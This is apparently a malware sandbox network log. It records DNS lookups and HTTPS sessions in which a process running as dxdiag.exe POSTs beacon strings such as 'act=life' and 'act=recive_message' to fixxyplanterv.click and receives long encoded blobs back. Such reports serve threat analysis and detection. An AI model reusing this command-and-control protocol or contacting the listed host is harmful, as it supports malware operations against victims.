Dec 23, 2024 07:33:15.647197962 CET	443	49733	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:15.647310972 CET	443	49733	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:15.647377968 CET	49733	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:15.647619009 CET	49733	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:15.647651911 CET	443	49733	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:15.792813063 CET	49734	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:15.792874098 CET	443	49734	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:15.792954922 CET	49734	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:15.793387890 CET	49734	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:15.793402910 CET	443	49734	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:17.007373095 CET	443	49734	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:17.007472038 CET	49734	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:17.009079933 CET	49734	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:17.009100914 CET	443	49734	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:17.009406090 CET	443	49734	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:17.010673046 CET	49734	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:17.010831118 CET	49734	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:17.010862112 CET	443	49734	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:17.818295956 CET	443	49734	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:17.818401098 CET	443	49734	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:17.818483114 CET	49734	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:17.818723917 CET	49734	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:17.818749905 CET	443	49734	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:18.094255924 CET	49735	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:18.094331980 CET	443	49735	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:18.094419956 CET	49735	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:18.094829082 CET	49735	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:18.094842911 CET	443	49735	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:19.306663990 CET	443	49735	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:19.306895018 CET	49735	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:19.308713913 CET	49735	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:19.308727026 CET	443	49735	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:19.309007883 CET	443	49735	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:19.310388088 CET	49735	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:19.310544014 CET	49735	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:19.310570955 CET	443	49735	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:19.310643911 CET	49735	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:19.310652018 CET	443	49735	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:20.264800072 CET	443	49735	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:20.264923096 CET	443	49735	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:20.264975071 CET	49735	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:20.265054941 CET	49735	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:20.265074015 CET	443	49735	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:20.828407049 CET	49736	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:20.828470945 CET	443	49736	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:20.828536987 CET	49736	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:20.828836918 CET	49736	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:20.828850031 CET	443	49736	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:22.039182901 CET	443	49736	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:22.039254904 CET	49736	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:22.040678978 CET	49736	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:22.040688038 CET	443	49736	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:22.040926933 CET	443	49736	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:22.042274952 CET	49736	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:22.042376041 CET	49736	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:22.042382002 CET	443	49736	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:22.806054115 CET	443	49736	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:22.806154013 CET	443	49736	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:22.806236029 CET	49736	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:22.806337118 CET	49736	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:22.806351900 CET	443	49736	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:23.348769903 CET	49738	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:23.348819017 CET	443	49738	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:23.348942041 CET	49738	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:23.349256039 CET	49738	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:23.349267006 CET	443	49738	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:24.560537100 CET	443	49738	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:24.560617924 CET	49738	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:24.562094927 CET	49738	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:24.562104940 CET	443	49738	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:24.562367916 CET	443	49738	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:24.564054966 CET	49738	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:24.564546108 CET	49738	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:24.564573050 CET	443	49738	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:24.564671040 CET	49738	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:24.564694881 CET	443	49738	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:24.564802885 CET	49738	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:24.564857006 CET	443	49738	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:24.564971924 CET	49738	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:24.565001011 CET	443	49738	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:24.565136909 CET	49738	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:24.565169096 CET	443	49738	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:24.565321922 CET	49738	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:24.565350056 CET	443	49738	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:24.565360069 CET	49738	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:24.565371037 CET	443	49738	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:24.565536022 CET	49738	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:24.565563917 CET	443	49738	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:24.565596104 CET	49738	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:24.565726995 CET	49738	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:24.565764904 CET	49738	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:24.607333899 CET	443	49738	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:24.607584953 CET	49738	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:24.607635975 CET	443	49738	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:24.607659101 CET	49738	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:24.607682943 CET	443	49738	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:24.607711077 CET	49738	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:24.607724905 CET	443	49738	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:27.087215900 CET	443	49738	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:27.087496042 CET	443	49738	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:27.087553978 CET	49738	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:27.087615013 CET	49738	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:27.087626934 CET	443	49738	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:27.104779959 CET	49742	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:27.104878902 CET	443	49742	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:27.104964018 CET	49742	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:27.105237961 CET	49742	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:27.105271101 CET	443	49742	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:28.317684889 CET	443	49742	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:28.317754984 CET	49742	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:28.319716930 CET	49742	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:28.319731951 CET	443	49742	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:28.319987059 CET	443	49742	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:28.362360001 CET	49742	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:28.362406015 CET	49742	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:28.362591982 CET	443	49742	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:29.092972994 CET	443	49742	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:29.093216896 CET	443	49742	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:29.095163107 CET	49742	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:29.095305920 CET	49742	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:29.095367908 CET	443	49742	104.21.6.116	192.168.2.4
Dec 23, 2024 07:33:29.095395088 CET	49742	443	192.168.2.4	104.21.6.116
Dec 23, 2024 07:33:29.095412970 CET	443	49742	104.21.6.116	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 07:33:08.750679016 CET	51000	53	192.168.2.4	1.1.1.1
Dec 23, 2024 07:33:09.149389982 CET	53	51000	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 07:33:08.750679016 CET	192.168.2.4	1.1.1.1	0x8242	Standard query (0)	fixxyplanterv.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 07:33:09.149389982 CET	1.1.1.1	192.168.2.4	0x8242	No error (0)	fixxyplanterv.click		104.21.6.116	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:33:09.149389982 CET	1.1.1.1	192.168.2.4	0x8242	No error (0)	fixxyplanterv.click		172.67.134.197	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

fixxyplanterv.click

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	104.21.6.116	443	7348	C:\Windows\SysWOW64\dxdiag.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:33:10 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fixxyplanterv.click
2024-12-23 06:33:10 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-23 06:33:11 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:33:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0kbo28qktb3rulqdad2u3fs8tk; expires=Fri, 18 Apr 2025 00:19:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O5famH%2B6LYmmftH8YGrBBzRROCB9YtIBYsb2KPG20zV%2FOuu8Zmnl%2Beildjx6cb8LXeaLAwgxg4fdd0pq2BQYqQsKbRGvUksoUy5FgJg2udDcgiYIZYBsK0lHBsTn6kaHA%2Fya%2BqiS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f665191cb510f91-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1495&min_rtt=1483&rtt_var=581&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=910&delivery_rate=1843434&cwnd=218&unsent_bytes=0&cid=43af863ca2182b24&ts=763&x=0"
2024-12-23 06:33:11 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-23 06:33:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	104.21.6.116	443	7348	C:\Windows\SysWOW64\dxdiag.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:33:12 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 45 Host: fixxyplanterv.click
2024-12-23 06:33:12 UTC	45	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 5a 71 63 68 4f 61 2d 2d 6e 65 77 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=ZqchOa--new&j=
2024-12-23 06:33:13 UTC	1133	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:33:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mjjr64s78djhjjaa1rl74uk9b5; expires=Fri, 18 Apr 2025 00:19:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ujppPSHck0Rp7DI%2FXSJiNGSPeGXhX03gbR9BFfk%2FearQy%2FTaLHHjC6olm7%2F%2By65l%2BTvDexHpoIOpVcQFEuf1p4nNvH6DTVIzS82QsClDm3bhSc6YYedvp6p0b%2BlDOFbiMSzYLpQT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66519e680843fd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1760&min_rtt=1746&rtt_var=665&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=948&delivery_rate=1672394&cwnd=217&unsent_bytes=0&cid=50430925327f70c7&ts=770&x=0"
2024-12-23 06:33:13 UTC	236	IN	Data Raw: 34 36 63 0d 0a 50 33 47 59 5a 32 39 36 48 78 74 4f 5a 2b 70 35 48 4a 65 78 41 4b 46 52 4a 77 6e 32 4f 38 32 79 58 4d 34 79 76 69 4a 58 65 42 39 45 55 2b 35 46 56 55 34 7a 4f 54 30 43 79 45 4e 6f 35 63 52 6c 6a 58 4e 47 62 64 51 42 71 39 4d 77 76 56 65 53 41 43 45 56 50 51 55 58 2b 51 73 63 48 7a 4d 35 4b 78 2f 49 51 30 66 73 6b 32 58 50 63 78 30 72 6b 31 47 76 30 7a 43 73 55 39 56 4e 4a 78 52 38 56 78 33 2f 44 77 6f 5a 65 33 6f 69 43 6f 38 63 65 66 62 62 62 73 67 38 54 32 54 55 46 2b 2f 58 4a 75 77 49 6e 47 38 79 44 48 35 79 45 4f 73 4d 54 51 63 7a 59 47 77 43 68 46 73 6d 74 64 42 6c 77 7a 31 42 62 5a 31 54 70 64 6f 34 72 56 62 55 55 6a 34 65 64 31 63 54 2f 41 34 41 45 47 39 33 4b 41 32 45 47 6e 50 Data Ascii: 46cP3GYZ296HxtOZ+p5HJexAKFRJwn2O82yXM4yviJXeB9EU+5FVU4zOT0CyENo5cRljXNGbdQBq9MwvVeSACEVPQUX+QscHzM5Kx/IQ0fsk2XPcx0rk1Gv0zCsU9VNJxR8Vx3/DwoZe3oiCo8cefbbbsg8T2TUF+/XJuwInG8yDH5yEOsMTQczYGwChFsmtdBlwz1BbZ1Tpdo4rVbUUj4ed1cT/A4AEG93KA2EGnP
2024-12-23 06:33:13 UTC	903	IN	Data Raw: 32 6b 79 79 44 4e 46 30 72 7a 42 6e 38 34 6a 32 39 51 63 6c 4e 4a 52 77 39 51 6c 33 6a 52 51 6f 55 50 53 46 73 44 59 51 56 65 2f 62 63 5a 63 49 7a 56 32 53 55 57 71 66 59 4f 71 5a 66 30 30 38 37 45 48 70 56 47 76 30 4b 43 68 42 37 64 69 39 46 78 6c 74 35 37 5a 4d 36 67 78 4e 56 61 4a 64 4e 6f 73 46 2b 73 78 37 46 41 44 49 57 50 51 56 54 2f 41 73 4d 46 58 31 72 4a 41 36 44 48 6d 7a 2b 32 6d 2f 4f 4d 30 68 68 6d 31 71 76 31 7a 53 6d 58 39 5a 45 4f 42 64 37 58 52 4f 36 53 30 30 66 5a 54 6c 30 52 61 73 65 62 76 4c 66 64 49 45 4a 42 58 54 61 51 4f 2f 58 4d 75 77 49 6e 45 67 77 47 58 35 57 48 50 6b 4e 42 67 70 39 61 79 6f 49 6a 51 6c 34 38 4e 31 6f 77 43 46 50 5a 5a 4a 61 70 74 73 33 71 56 66 59 41 48 74 61 65 6b 56 54 6f 6b 55 73 46 58 5a 31 4a 68 4b 49 57 32 Data Ascii: 2kyyDNF0rzBn84j29QclNJRw9Ql3jRQoUPSFsDYQVe/bcZcIzV2SUWqfYOqZf0087EHpVGv0KChB7di9Fxlt57ZM6gxNVaJdNosF+sx7FADIWPQVT/AsMFX1rJA6DHmz+2m/OM0hhm1qv1zSmX9ZEOBd7XRO6S00fZTl0RasebvLfdIEJBXTaQO/XMuwInEgwGX5WHPkNBgp9ayoIjQl48N1owCFPZZJapts3qVfYAHtaekVTokUsFXZ1JhKIW2
2024-12-23 06:33:13 UTC	1369	IN	Data Raw: 34 34 62 30 0d 0a 50 55 4a 39 31 45 62 68 79 58 36 72 58 4a 77 59 64 52 56 79 55 68 76 36 42 41 6b 56 65 58 67 68 43 59 45 59 63 76 6e 62 62 38 38 33 53 6d 4f 63 57 71 66 43 4d 4b 4a 57 32 6b 41 77 57 6a 4d 64 46 4f 4a 46 56 56 68 5a 64 7a 73 52 67 31 6c 4c 39 74 31 73 78 43 55 46 64 4e 70 41 37 39 63 79 37 41 69 63 54 6a 67 52 63 56 6f 61 2b 77 59 4e 45 6e 4e 32 4a 67 32 41 47 33 50 30 32 47 72 46 50 6b 35 6b 6d 31 36 6e 30 7a 4b 70 58 64 38 41 65 31 70 36 52 56 4f 69 52 53 67 57 66 6d 67 39 52 37 30 59 63 50 76 55 64 49 4d 73 43 33 4c 55 58 71 4f 51 5a 75 78 61 32 30 63 78 46 33 64 65 46 2f 34 49 41 68 46 30 63 44 34 50 68 42 56 73 2b 4e 6c 6e 7a 54 39 41 5a 4a 52 59 72 74 34 30 70 78 43 53 41 44 49 43 50 51 56 54 31 51 67 64 43 6e 64 79 50 55 65 39 47 Data Ascii: 44b0PUJ91EbhyX6rXJwYdRVyUhv6BAkVeXghCYEYcvnbb883SmOcWqfCMKJW2kAwWjMdFOJFVVhZdzsRg1lL9t1sxCUFdNpA79cy7AicTjgRcVoa+wYNEnN2Jg2AG3P02GrFPk5km16n0zKpXd8Ae1p6RVOiRSgWfmg9R70YcPvUdIMsC3LUXqOQZuxa20cxF3deF/4IAhF0cD4PhBVs+NlnzT9AZJRYrt40pxCSADICPQVT1QgdCndyPUe9G
2024-12-23 06:33:13 UTC	1369	IN	Data Raw: 36 67 78 78 47 66 5a 34 5a 73 4a 34 6e 37 46 66 51 41 47 31 61 64 31 45 58 2b 51 6b 45 46 48 42 34 4b 41 4b 46 48 33 37 7a 31 57 66 43 4f 45 31 6e 6d 31 4f 6a 31 44 4b 6c 56 74 42 44 4e 68 77 39 45 31 50 39 48 55 31 41 50 56 67 68 44 6f 51 62 66 65 54 55 49 6f 31 7a 53 32 32 55 47 66 66 47 4c 72 74 58 77 77 34 73 57 6e 70 52 55 36 4a 46 42 77 70 34 64 79 67 50 6a 52 39 79 2f 39 4e 6e 30 54 74 44 62 4a 68 52 71 74 38 34 71 56 33 62 53 7a 59 49 62 31 34 58 39 41 6c 4e 56 6a 31 2b 4e 45 58 51 57 31 76 69 30 48 4c 46 4d 41 56 30 32 6b 44 76 31 7a 4c 73 43 4a 78 41 4f 78 5a 32 57 68 6a 78 41 51 6b 59 63 48 49 69 43 34 45 58 64 76 6e 55 63 4d 34 32 54 57 47 64 58 4b 50 64 50 62 35 54 33 51 42 37 57 6e 70 46 55 36 4a 46 4b 69 74 4b 57 6d 77 61 78 67 49 2b 38 74 Data Ascii: 6gxxGfZ4ZsJ4n7FfQAG1ad1EX+QkEFHB4KAKFH37z1WfCOE1nm1Oj1DKlVtBDNhw9E1P9HU1APVghDoQbfeTUIo1zS22UGffGLrtXww4sWnpRU6JFBwp4dygPjR9y/9Nn0TtDbJhRqt84qV3bSzYIb14X9AlNVj1+NEXQW1vi0HLFMAV02kDv1zLsCJxAOxZ2WhjxAQkYcHIiC4EXdvnUcM42TWGdXKPdPb5T3QB7WnpFU6JFKitKWmwaxgI+8t
2024-12-23 06:33:13 UTC	1369	IN	Data Raw: 61 57 69 62 55 75 2f 50 63 4c 55 51 32 30 78 31 51 6a 31 61 47 2f 49 4c 44 68 35 32 64 53 41 45 67 52 31 37 2f 64 52 74 78 44 70 43 61 35 4a 4c 71 4e 30 33 72 46 76 56 53 6a 45 62 64 68 31 64 75 67 49 56 57 43 55 35 48 67 4b 65 43 33 32 31 7a 43 7a 61 63 30 4a 6e 31 41 48 76 33 53 79 74 56 63 35 45 4f 68 46 76 56 68 58 36 41 42 38 66 63 58 4d 6a 42 6f 41 57 66 66 33 42 59 73 34 7a 56 33 6d 53 55 71 47 51 63 4f 78 58 78 41 42 74 57 6b 78 4b 47 4c 6f 61 51 77 45 39 66 69 42 46 30 46 74 39 2f 39 35 73 30 54 64 44 59 4a 64 58 70 39 55 32 71 46 72 52 54 7a 34 51 64 46 55 54 39 51 41 46 45 33 74 33 4c 51 4f 45 46 6a 36 37 6b 32 58 62 63 78 30 72 73 30 4f 69 31 69 6d 39 5a 64 74 41 5a 46 70 69 45 77 71 36 41 67 46 59 4a 54 6b 68 43 59 49 57 65 2f 48 62 5a 63 41 Data Ascii: aWibUu/PcLUQ20x1Qj1aG/ILDh52dSAEgR17/dRtxDpCa5JLqN03rFvVSjEbdh1dugIVWCU5HgKeC321zCzac0Jn1AHv3SytVc5EOhFvVhX6AB8fcXMjBoAWff3BYs4zV3mSUqGQcOxXxABtWkxKGLoaQwE9fiBF0Ft9/95s0TdDYJdXp9U2qFrRTz4QdFUT9QAFE3t3LQOEFj67k2Xbcx0rs0Oi1im9ZdtAZFpiEwq6AgFYJTkhCYIWe/HbZcA
2024-12-23 06:33:13 UTC	1369	IN	Data Raw: 46 36 6a 6b 47 62 73 58 74 46 47 4e 42 74 31 56 52 50 38 44 77 6b 62 64 48 6f 72 44 49 34 51 66 66 2f 63 5a 63 55 33 52 57 43 54 56 36 6e 56 4e 61 55 51 6b 67 41 79 41 6a 30 46 55 39 77 6d 48 77 70 50 64 79 38 65 79 41 51 77 37 4a 4e 6c 7a 33 4d 64 4b 35 39 52 6f 4d 49 37 70 56 6a 59 53 54 55 65 64 31 41 55 2b 67 41 41 48 58 6c 33 4b 41 4b 49 46 33 48 79 32 32 33 48 4d 30 6f 72 32 68 6d 6f 79 48 37 30 45 50 78 4c 49 7a 74 7a 56 67 47 36 47 6b 4d 42 50 58 34 67 52 64 42 62 63 50 7a 53 61 73 30 2f 54 57 2b 47 57 61 54 5a 4d 61 31 66 33 45 4d 30 45 48 56 50 46 66 6f 4f 42 52 39 31 66 53 49 58 69 52 51 2b 75 35 4e 6c 32 33 4d 64 4b 36 56 50 71 4e 63 78 37 6e 6e 62 57 7a 51 51 66 6c 59 66 75 68 70 44 41 54 31 2b 49 45 58 51 57 33 50 35 33 6d 62 52 50 30 56 72 Data Ascii: F6jkGbsXtFGNBt1VRP8DwkbdHorDI4Qff/cZcU3RWCTV6nVNaUQkgAyAj0FU9wmHwpPdy8eyAQw7JNlz3MdK59RoMI7pVjYSTUed1AU+gAAHXl3KAKIF3Hy223HM0or2hmoyH70EPxLIztzVgG6GkMBPX4gRdBbcPzSas0/TW+GWaTZMa1f3EM0EHVPFfoOBR91fSIXiRQ+u5Nl23MdK6VPqNcx7nnbWzQQflYfuhpDAT1+IEXQW3P53mbRP0Vr
2024-12-23 06:33:13 UTC	1369	IN	Data Raw: 41 31 6f 6c 58 64 54 44 38 64 63 30 38 53 38 41 6b 4d 48 33 70 79 50 67 36 61 45 48 62 32 33 57 72 4b 4d 30 74 72 6c 56 53 76 6b 48 44 73 56 38 51 41 62 56 70 59 66 67 54 73 44 30 38 37 61 6d 38 6d 41 6f 51 4e 64 66 54 51 64 4d 34 6a 42 53 58 55 53 4b 6a 42 66 76 52 47 7a 46 63 79 42 54 4e 45 55 2f 30 4a 54 55 41 39 63 69 4d 4c 68 52 42 36 2f 4e 5a 71 77 44 5a 41 59 5a 68 56 72 74 67 33 70 6c 58 5a 52 6a 38 5a 63 31 49 53 39 67 45 45 46 6e 51 35 59 6b 57 50 41 7a 36 74 6b 31 54 54 4e 46 31 6d 68 42 75 64 30 79 2b 39 52 64 46 51 4d 31 68 53 58 68 2f 35 41 41 6f 49 50 57 5a 69 48 4d 67 63 63 72 57 4c 49 73 4d 33 53 57 69 54 56 36 44 64 4d 61 74 62 30 30 6f 37 43 48 4a 59 47 2f 59 4e 41 41 70 33 63 7a 34 4d 67 52 5a 77 2f 63 46 68 67 33 30 46 62 49 77 5a 39 Data Ascii: A1olXdTD8dc08S8AkMH3pyPg6aEHb23WrKM0trlVSvkHDsV8QAbVpYfgTsD087am8mAoQNdfTQdM4jBSXUSKjBfvRGzFcyBTNEU/0JTUA9ciMLhRB6/NZqwDZAYZhVrtg3plXZRj8Zc1IS9gEEFnQ5YkWPAz6tk1TTNF1mhBud0y+9RdFQM1hSXh/5AAoIPWZiHMgccrWLIsM3SWiTV6DdMatb00o7CHJYG/YNAAp3cz4MgRZw/cFhg30FbIwZ9
2024-12-23 06:33:13 UTC	1369	IN	Data Raw: 53 37 56 59 34 43 6e 35 59 46 4d 51 37 41 78 39 70 66 69 49 44 69 46 73 77 74 64 77 69 6d 77 6f 46 49 39 52 6d 34 5a 41 6d 37 41 69 63 64 54 59 55 63 31 6f 46 36 30 67 75 44 32 74 7a 4e 30 65 75 48 47 2f 38 78 57 2f 52 63 77 73 72 6b 68 6e 33 67 48 44 73 56 4d 30 41 62 55 6f 76 42 6b 61 70 55 6c 31 4b 59 6a 63 31 52 5a 35 62 4a 71 65 64 49 74 46 7a 48 53 76 54 57 72 33 43 4f 4b 39 47 33 77 63 4c 4a 46 31 57 42 66 73 49 42 68 52 44 52 7a 6b 47 68 68 56 35 34 38 49 69 6a 58 4e 4b 4b 38 78 67 37 35 68 2b 6b 78 36 63 57 48 56 43 50 57 67 51 39 41 73 4b 44 6d 77 30 44 41 36 65 47 6e 50 2b 33 79 44 43 50 6c 56 73 31 42 66 76 31 6e 37 30 41 4a 49 41 4d 51 73 39 42 55 4f 6f 58 6c 68 4c 4b 69 6c 2b 47 73 59 43 50 75 4f 54 4f 70 46 39 42 58 6e 55 41 65 2b 58 50 62 Data Ascii: S7VY4Cn5YFMQ7Ax9pfiIDiFswtdwimwoFI9Rm4ZAm7AicdTYUc1oF60guD2tzN0euHG/8xW/Rcwsrkhn3gHDsVM0AbUovBkapUl1KYjc1RZ5bJqedItFzHSvTWr3COK9G3wcLJF1WBfsIBhRDRzkGhhV548IijXNKK8xg75h+kx6cWHVCPWgQ9AsKDmw0DA6eGnP+3yDCPlVs1Bfv1n70AJIAMQs9BUOoXlhLKil+GsYCPuOTOpF9BXnUAe+XPb
